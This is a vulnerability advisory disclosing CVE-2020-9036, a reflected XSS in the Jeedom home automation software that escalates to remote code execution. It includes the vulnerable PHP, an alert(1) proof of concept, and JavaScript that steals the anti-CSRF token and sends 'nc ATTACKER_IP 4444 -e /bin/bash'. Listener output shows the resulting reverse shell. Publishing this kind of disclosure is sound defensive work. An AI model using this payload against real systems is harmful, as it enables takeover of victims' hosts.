Jeedom is a home automation solution used in IoT.

We discovered an XSS (cross-site-scripting) injection that can lead to a remote code execution.


The Jeedom application does not handle user input correctly, allowing client-side JavaScript code injection (XSS).

In this case, the vulnerability could be used to remotely execute commands against the system hosting the application.


User input / output should be filtered to avoid arbitrary web code injection.

Vulnerability records

CVE ID: CVE-2020-9036

Access Vector: remote

Security Risk: high

Vulnerability: CWE-80

CVSS Base Score: 8.8

CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H


We identified a reflected cross-site scripting injection (XSS).

Moreover, an integrated feature could be used to execute commands against the system, but it requires an anti-CSRF token and valid session cookies.

To achieve this exploitation path, we built a JavaScript payload for the XSS that:

  • fetch the anti-CSRF token from the body of another page by making an HTTP request ;
  • send commands for execution within another HTTP request, along with the anti-CSRF token.

Proof of Concept 1 : Simple XSS to execute alert function

Here is the affected URL, with a simple JavaScript payload that executes the alert function:


The insecure PHP code follows. Note how the user input is added without filtering to the HTML output:

try {
            if ( init('p') != 'message' && !isset($_GET['configure']) && !isset($_GET['modal']) ) {
                $title = pageTitle(init('p')) . ' - ' . config::byKey('product_name');
                echo '<script>';
                echo 'document.title = "' . $title . '"';
                echo '</script>';

Here is the result, including the injected payload in the HTTP response body:

$ curl -v "http://URL/index.php?v=d&p=%22;alert(1);%22" |grep alert

<script>document.title = "";alert(1);" - Jeedom"</script>

XSS screenshot 1

Proof of Concept 2 : XSS to Remote Code Execution

The authenticated web functionality used to execute code against the system requires valid session cookies and anti-CSRF token.

We can use the following payload to fetch the anti-CSRF token:

var x = new XMLHttpRequest();"GET","/index.php?v=d&p=administration",false);
t = x.responseText.split("JEEDOM_AJAX_TOKEN='")[1].split("';")[0]

We added some code to request it using the HTTP POST method, using the previously intercepted token:

var x = new XMLHttpRequest();"POST", "/core/ajax/jeedom.ajax.php", true);
x.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");
p = "jeedom_token=" + t + "&action=ssh&command=" + "nc ATTACKER_IP 4444 -e /bin/bash";

After encoding and joining both parts, we obtain a URL like this:


If an authenticated victim visits the previous URL address, the attacker gets a reverse shell, as shown below:

$ nc -lvp 4444
Ncat: Version 7.80 ( )
Ncat: Listening on :::4444
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
python -c "import pty;pty.spawn('/bin/bash')"
[email protected]:/var/www/html/core/ajax$ whoami

XSS screenshot 2

Affected versions

  • Jeedom version <= 4.0.38


Timeline (dd/mm/yyyy)

  • 2020-01-31 Initial discovery.
  • 2020-02-07 Contacting Jeedom security team.
  • 2020-02-07 Jeedom acknowledgement stating that the report is under review.
  • 2020-02-18 XSS fix published (commit fafe84cb9bbd491a931748e7b4fe7d2851877a33).
  • 2020-08-05 Disclosure.


  • Mickael Karatekin, Sysdream (m.karatekin-at-sysdream-dot-com)